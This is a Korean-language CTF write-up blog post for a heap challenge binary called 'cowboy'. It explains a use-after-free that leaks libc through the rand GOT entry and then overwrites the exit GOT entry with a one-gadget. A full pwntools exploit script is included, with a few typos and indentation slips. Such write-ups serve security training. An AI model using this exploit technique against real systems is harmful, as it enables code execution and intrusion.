728x90

분석하기 어려웠다 ㅜㅠㅠ

fill 부분에서 힙을 하나 할당해서 데이터를 복사해주는데 이 부분을 이용해서 UAF를 터치면 된다!!

 

메모리가 할당되었을때 구조가 [size][content_address][next_chunk_address] 이렇게 구성되어 있다.

UAF를 터쳐서 next_chunk_address를 rand_got로 덮어서 show 시키면 leak이 가능하다!! 

마찬가지로 exit_got를 가리키고 있는 주소를 하나 next_chunk_address에 넣어줘서 fill을 통해 got overwrite를 해주면 끝!

exit_got를 가리키고 있는 저 주소를 통해 one_shot 으로 덮어쓰면 끝이다!

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
 
= process("./cowboy")
elf = ELF("./cowboy")
libc = ELF("./libc.so.6")
 
def alloc(size):
    s.sendlineafter("----","1")
    sleep(0.2)
    s.sendline(str(size))
    
 
def free(bin_num,chunk_num):
    s.sendlineafter("----","2")
    sleep(0.1)
    s.sendline(str(bin_num))
    sleep(0.1)
    s.sendline(str(chunk_num))
 
def show():
    s.sendlineafter("----","3")
    
 
def fill(bin_num,chunk_num, content):
    s.sendlineafter("----","4")
    sleep(0.1)
        s.sendline(str(bin_num))
    sleep(0.1)
        s.sendline(str(chunk_num))
    sleep(0.1)
    s.send(content)
 
def quit():
    s.sendlineafter("----","5")
 
 
alloc(10)
fill(0,0,p64(elf.got['rand'])*2)
alloc(10)
 
show()
 
s.recvuntil("bin[0]: ")
s.recvuntil("0x7f")
leak = int("0x7f"+s.recv(10),16)
print "leak : " + hex(leak)
libc_base = leak - libc.symbols['rand']
print "libc_base : " + hex(libc_base)
one_shot = libc_base + 0xf1147
print "one_shot : " + hex(one_shot)
 
alloc(30)
fill(0,0,p64(0x400708)*2)
alloc(30)
fill(1,2,p64(one_shot)*2)
 
quit()
 
s.interactive()
 
cs

 

: )

'PWN > CTF' 카테고리의 다른 글

[CodeBlue_2017] simple_memo_pad  (0) 2019.12.01
[RCTF_2018] Rnote4  (0) 2019.11.29
[BSidesSF_2019] runitplusplus  (0) 2019.11.17
[RCTF_2018] stringer  (0) 2019.11.17
[Hack.lu_2014] oreo  (0) 2019.11.12